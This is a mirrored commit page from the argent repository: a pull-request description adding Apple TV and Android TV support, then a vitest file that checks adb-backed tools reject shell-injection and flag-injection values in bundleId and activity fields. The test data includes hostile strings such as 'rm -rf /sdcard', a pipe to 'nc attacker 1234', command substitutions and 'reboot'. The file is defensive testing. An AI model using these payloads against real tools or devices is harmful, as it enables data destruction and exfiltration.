mirror of
https://github.com/software-mansion/argent.git
synced 2026-09-14 19:27:14 +08:00
b8afbed183
Adds end-to-end support for driving **Apple TV (tvOS)** and **Android TV (leanback)** targets through argent, using a focus-driven interaction model (TVs have no touchscreen — interaction is moving a focus highlight with the remote). This PR was reworked after review to **reuse the existing cross-platform tool surface and the `tv-remote` tool from the Vega/Fire TV work (#366)** rather than ship a separate family of `tv-*` tools. ## What this delivers TV targets are driven by the **same cross-platform tools as every other platform**, routed through the existing `dispatchByPlatform` fork mechanism — there are no dedicated `tv-describe`/`tv-navigate`/`tv-type`/`tv-set-focus` tools: - **`describe`** — on a `runtimeKind: "tv"` target, returns the focus-driven view (focused + focusable elements) instead of a tap tree. On Android TV it auto-falls-back to the full `uiautomator` tree when the RN focus engine exposes nothing. - **`tv-remote`** — the cross-platform remote/D-pad tool from #366, now extended with `ios` (Apple TV HID daemon) and `android` (Android TV adb keyevents) branches alongside the existing `vega` branch. Single button, a `repeat`, or a whole path (`["up","right","select"]`) in one call. - **`keyboard`** — types into the focused field on a TV target (named keys are rejected there — they're navigation, which belongs to `tv-remote`). - **`button`** stays hardware-only (phones/tablets); it is not a TV tool. **Apple TV** runs two native daemons (in-sim AX service + host-side HID daemon), shipped via the `argent-private` submodule. **Android TV** reuses the same tool surface, adb-backed (`input keyevent`, `uiautomator dump`, `input text`). ## Remote vocabulary parity `tv-remote` exposes the full 16-button vocabulary (`up`/`down`/`left`/`right`/`select`/`back`/`home`/`menu`/`playPause`/`rewind`/`fastForward`/`next`/`previous`/`volumeUp`/`volumeDown`/`mute`): | | Apple TV | Android TV | Vega | |---|---|---|---| | D-pad / select / back / menu / home / playPause | ✅ | ✅ | ✅ | | media-transport + volume/mute | ❌ rejected | ✅ | ✅ | Media-transport/volume keys **genuinely work on Android TV** (real keycodes — verified live: `volumeUp` moved `STREAM_MUSIC`, `mute` toggled per `dumpsys audio`). On the **Apple TV simulator** they are **rejected with a clear error**: on-device testing confirmed the tvOS sim's HID stack silently drops Consumer-Control events, so returning success would be a lie. ## Key design points - **tvOS UDIDs are UUID-shaped and indistinguishable from iOS by shape.** Handled with `runtimeKind` detection (tvOS runtime string for Apple TV; `pm list features` leanback/television for Android TV — *not* `ro.build.characteristics`, which lies on TV emulators). - Converted launch-app / restart-app / screenshot / screenshot-diff / run-sequence from **eager** to **lazy** service resolution, so a tvOS target never spins up (and hangs on) the iOS-only simulator-server / native-devtools blueprints. - Native injection selects the platform-matched (TVOSSIMULATOR) dylib slice; daemons recycle across sim reboots and app relaunches so injection and focus survive. - SKILL.md footprint minimized per review: the two TV skills were collapsed into a single lean **`argent-tv-interact`** (~40 lines). ## Verification - `npm run build`, ESLint, Prettier, and the full tool-server suite (**1565 tests**) all pass; CI green (incl. the Apple TV / Android TV / Vega e2e jobs). - Core flows verified live against real apps on both an Apple TV 4K simulator and a Google ATV emulator. ## Dependency / merge order Pins the `argent-private` submodule to the tip of its `feat/tv-support` branch (software-mansion/argent-private#20). **Merge that PR to `main` first, then bump the submodule pointer here to the merged SHA before merging this PR.** 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
149 lines
5.4 KiB
TypeScript
149 lines
5.4 KiB
TypeScript
import { describe, it, expect } from "vitest";
|
|
import { createLaunchAppTool } from "../src/tools/launch-app";
|
|
import { createRestartAppTool } from "../src/tools/restart-app";
|
|
import { openUrlTool } from "../src/tools/open-url";
|
|
import { reinstallAppTool } from "../src/tools/reinstall-app";
|
|
import { createDescribeTool } from "../src/tools/describe";
|
|
import { Registry } from "@argent/registry";
|
|
|
|
// launch-app / restart-app resolve native-devtools lazily through the registry
|
|
// (so a tvOS udid never spins up the iOS-only injection), so they're built via
|
|
// factory now. These tests only exercise the zod schema, which is registry-
|
|
// independent — a throwaway Registry is fine.
|
|
const launchAppTool = createLaunchAppTool(new Registry());
|
|
const restartAppTool = createRestartAppTool(new Registry());
|
|
|
|
/**
|
|
* Regressions for the command-injection review finding (#1) and the
|
|
* empty-udid routing finding (#7).
|
|
*
|
|
* The attack surface: every Android branch interpolates `bundleId` (and
|
|
* sometimes `activity`) directly into an `adb shell "<template>"` string,
|
|
* which is re-parsed on-device. Without validation, a `bundleId` of
|
|
* `com.x;rm -rf /` executes arbitrary on-device shell.
|
|
*
|
|
* Fix: zod `.regex` on bundleId / activity, and `.min(1)` on udid so an
|
|
* empty string can't be routed to `adb -s "" shell ...` (which silently
|
|
* falls back to the default device on multi-device hosts).
|
|
*/
|
|
|
|
describe("bundleId validation — tools that interpolate into adb shell", () => {
|
|
const toolCases = [
|
|
{ name: "launch-app", schema: launchAppTool.zodSchema!, baseArgs: { udid: "emulator-5554" } },
|
|
{ name: "restart-app", schema: restartAppTool.zodSchema!, baseArgs: { udid: "emulator-5554" } },
|
|
];
|
|
|
|
const injectionPayloads = [
|
|
"com.foo;rm -rf /sdcard",
|
|
"com.foo`touch /sdcard/owned`",
|
|
"com.foo$(touch /sdcard/owned)",
|
|
"com.foo && reboot",
|
|
"com.foo | nc attacker 1234",
|
|
"com.foo\nmalicious",
|
|
"com.foo'; id; echo '",
|
|
// Leading `-` would let bundleId masquerade as an `am`/`cmd package` flag.
|
|
"--user",
|
|
"-X",
|
|
"-foo",
|
|
];
|
|
|
|
for (const { name, schema, baseArgs } of toolCases) {
|
|
for (const payload of injectionPayloads) {
|
|
it(`${name} rejects bundleId with shell metachars: ${JSON.stringify(payload)}`, () => {
|
|
const parsed = schema.safeParse({ ...baseArgs, bundleId: payload });
|
|
expect(parsed.success).toBe(false);
|
|
});
|
|
}
|
|
|
|
it(`${name} accepts a normal bundleId like com.example.app`, () => {
|
|
const parsed = schema.safeParse({ ...baseArgs, bundleId: "com.example.app" });
|
|
expect(parsed.success).toBe(true);
|
|
});
|
|
|
|
it(`${name} accepts a bundleId with hyphens (e.g. org.some-vendor.app)`, () => {
|
|
// Hyphens are allowed in iOS bundle ids — but the same safe-alphabet
|
|
// regex lets them through for both platforms.
|
|
const parsed = schema.safeParse({ ...baseArgs, bundleId: "org.some-vendor.app" });
|
|
expect(parsed.success).toBe(true);
|
|
});
|
|
}
|
|
});
|
|
|
|
describe("activity validation — launch-app Android branch", () => {
|
|
it("accepts a dot-prefixed activity (.MainActivity)", () => {
|
|
const parsed = launchAppTool.zodSchema!.safeParse({
|
|
udid: "emulator-5554",
|
|
bundleId: "com.example.app",
|
|
activity: ".MainActivity",
|
|
});
|
|
expect(parsed.success).toBe(true);
|
|
});
|
|
|
|
it("accepts a fully-qualified activity (pkg/.Component)", () => {
|
|
const parsed = launchAppTool.zodSchema!.safeParse({
|
|
udid: "emulator-5554",
|
|
bundleId: "com.example.app",
|
|
activity: "com.example.app/.MainActivity",
|
|
});
|
|
expect(parsed.success).toBe(true);
|
|
});
|
|
|
|
it("rejects an activity with a shell backtick", () => {
|
|
const parsed = launchAppTool.zodSchema!.safeParse({
|
|
udid: "emulator-5554",
|
|
bundleId: "com.example.app",
|
|
activity: ".Main`id`",
|
|
});
|
|
expect(parsed.success).toBe(false);
|
|
});
|
|
|
|
it("rejects an activity with `;`", () => {
|
|
const parsed = launchAppTool.zodSchema!.safeParse({
|
|
udid: "emulator-5554",
|
|
bundleId: "com.example.app",
|
|
activity: ".Main;reboot",
|
|
});
|
|
expect(parsed.success).toBe(false);
|
|
});
|
|
|
|
it("rejects an activity that starts with `-` (flag injection)", () => {
|
|
const parsed = launchAppTool.zodSchema!.safeParse({
|
|
udid: "emulator-5554",
|
|
bundleId: "com.example.app",
|
|
activity: "-X",
|
|
});
|
|
expect(parsed.success).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('empty-udid guard (#7) — cross-platform tools reject `udid: ""`', () => {
|
|
// Without .min(1), an empty udid flows through to `adb -s "" shell …`
|
|
// which silently targets the default device on a multi-host setup.
|
|
const toolCases: Array<{
|
|
name: string;
|
|
schema: { safeParse: (x: unknown) => { success: boolean } };
|
|
extra: Record<string, unknown>;
|
|
}> = [
|
|
{ name: "launch-app", schema: launchAppTool.zodSchema!, extra: { bundleId: "com.x" } },
|
|
{ name: "restart-app", schema: restartAppTool.zodSchema!, extra: { bundleId: "com.x" } },
|
|
{ name: "open-url", schema: openUrlTool.zodSchema!, extra: { url: "https://example.com" } },
|
|
{
|
|
name: "reinstall-app",
|
|
schema: reinstallAppTool.zodSchema!,
|
|
extra: { bundleId: "com.x", appPath: "/tmp/x.apk" },
|
|
},
|
|
{
|
|
name: "describe",
|
|
schema: createDescribeTool(new Registry()).zodSchema!,
|
|
extra: {},
|
|
},
|
|
];
|
|
|
|
for (const { name, schema, extra } of toolCases) {
|
|
it(`${name} rejects empty udid`, () => {
|
|
const parsed = schema.safeParse({ udid: "", ...extra });
|
|
expect(parsed.success).toBe(false);
|
|
});
|
|
}
|
|
});
|